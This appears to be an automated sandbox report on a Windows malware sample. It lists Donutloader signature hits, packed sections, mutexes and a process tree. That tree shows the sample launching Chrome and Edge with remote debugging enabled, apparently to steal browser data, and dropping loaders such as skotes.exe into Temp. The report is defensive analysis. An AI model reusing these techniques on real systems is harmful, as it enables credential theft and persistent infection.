Source: 00000030.00000002.3949552387.0000000000890000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 0000002D.00000002.3951463621.0000000000280000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000038.00000002.3949197044.0000000000E80000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000025.00000002.3949685611.0000000000D10000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000027.00000002.3949410091.0000000000D20000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 0000002D.00000002.3950119021.0000000000250000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000028.00000000.2727187192.0000000000F80000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 0000002C.00000000.2753933388.0000000000DD0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000021.00000002.3949232550.0000000000870000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000028.00000002.3950537654.0000000000F80000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000025.00000002.3949201379.0000000000CE0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000022.00000002.3949200036.00000000006D0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000031.00000002.3952729365.0000000000C20000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000035.00000002.3949957788.0000000000540000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000024.00000002.3953090366.0000000000C20000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 0000002D.00000000.2764105412.0000000000250000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000035.00000000.2782456836.0000000000540000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000031.00000000.2774799935.0000000000BF0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000023.00000000.2707901628.0000000000B60000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000021.00000000.2693465530.0000000000870000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 0000002B.00000002.3950780718.00000000003C0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000028.00000002.3952929525.0000000000FB0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000024.00000000.2710605344.0000000000BF0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000036.00000002.3951450143.0000000000B30000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 0000002F.00000000.2769315370.0000000000310000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000037.00000002.3950182926.0000000000C00000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000032.00000002.3952970949.00000000006B0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000036.00000002.3950762365.0000000000B00000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 0000002C.00000002.3951635304.0000000000E00000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000035.00000002.3950934873.0000000000570000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000037.00000002.3949693545.0000000000BD0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 0000002F.00000002.3950179741.0000000000340000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000030.00000002.3949194748.0000000000860000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000038.00000002.3949553181.0000000000EB0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000037.00000000.2811666069.0000000000BD0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000022.00000002.3949583923.0000000000700000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13

Source: file.exe	Static PE information: Section: vhfoedue ZLIB complexity 0.9949477988310709
Source: GCGHCBKFCF.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9979031846049047
Source: GCGHCBKFCF.exe.0.dr	Static PE information: Section: dmpinvwn ZLIB complexity 0.9942312064261898
Source: random[1].exe.0.dr	Static PE information: Section: vhfoedue ZLIB complexity 0.9949477988310709
Source: skotes.exe.16.dr	Static PE information: Section: ZLIB complexity 0.9979031846049047
Source: skotes.exe.16.dr	Static PE information: Section: dmpinvwn ZLIB complexity 0.9942312064261898
Source: random[1].exe.19.dr	Static PE information: Section: xjkpyrbo ZLIB complexity 0.9944146996273904
Source: ddd4dd05d2.exe.19.dr	Static PE information: Section: xjkpyrbo ZLIB complexity 0.9944146996273904
Source: random[1].exe0.19.dr	Static PE information: Section: rtjzuflj ZLIB complexity 0.994421735289876
Source: 83d4c6bf2a.exe.19.dr	Static PE information: Section: rtjzuflj ZLIB complexity 0.994421735289876
Source: random[1].exe1.19.dr	Static PE information: Section: ZLIB complexity 0.9993355347938144
Source: random[1].exe1.19.dr	Static PE information: Section: arzmofiy ZLIB complexity 0.9947684979240806
Source: 5d1390e5c6.exe.19.dr	Static PE information: Section: ZLIB complexity 0.9993355347938144
Source: 5d1390e5c6.exe.19.dr	Static PE information: Section: arzmofiy ZLIB complexity 0.9947684979240806
Source: 0474b55419.exe.19.dr	Static PE information: Section: vhfoedue ZLIB complexity 0.9949477988310709

Source: classification engine

Classification label: mal100.phis.troj.spyw.evad.mine.winEXE@91/153@29/15

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB97030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CB97030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\13XEIOAZ.htm

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3736:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4068:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5944:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1500:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7688:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4252:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4448:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\5114ae63d6bd6b3b323762751007587a
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3188:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6864:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6960:120:WilError_03

Source: C:\Users\user\Documents\GCGHCBKFCF.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: file.exe, 00000000.00000002.2082424559.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2068118427.000000001D68F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: file.exe, 00000000.00000002.2082424559.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2068118427.000000001D68F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2082424559.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2068118427.000000001D68F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2082424559.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2068118427.000000001D68F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: file.exe, file.exe, 00000000.00000002.2082424559.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2068118427.000000001D68F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2082424559.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2068118427.000000001D68F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2082424559.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2068118427.000000001D68F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000003.1823904343.000000001D579000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1684643993.000000001D585000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2082424559.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2068118427.000000001D68F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: file.exe, 00000000.00000002.2082424559.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2068118427.000000001D68F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe

ReversingLabs: Detection: 34%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: GCGHCBKFCF.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: powershell.exe	String found in binary or memory: prompt"PS $($executionContext.SessionState.Path.CurrentLocation)$('>' * ($nestedPromptLevel + 1)) ";# .Link# https://go.microsoft.com/fwlink/?LinkID=225750# .ExternalHelp System.Management.Automation.dll-help.xml$global:?
Source: powershell.exe	String found in binary or memory: prompt"PS $($executionContext.SessionState.Path.CurrentLocation)$('>' * ($nestedPromptLevel + 1)) ";# .Link# https://go.microsoft.com/fwlink/?LinkID=225750# .ExternalHelp System.Management.Automation.dll-help.xml$global:?

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2304 --field-trial-handle=2016,i,11931169418970791353,8527308257632557293,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2388 --field-trial-handle=2268,i,4270709120821206105,7988913015437198549,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2228,i,15762484504368215881,17872325202464859590,262144 /prefetch:3
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\GCGHCBKFCF.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\GCGHCBKFCF.exe "C:\Users\user\Documents\GCGHCBKFCF.exe"
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
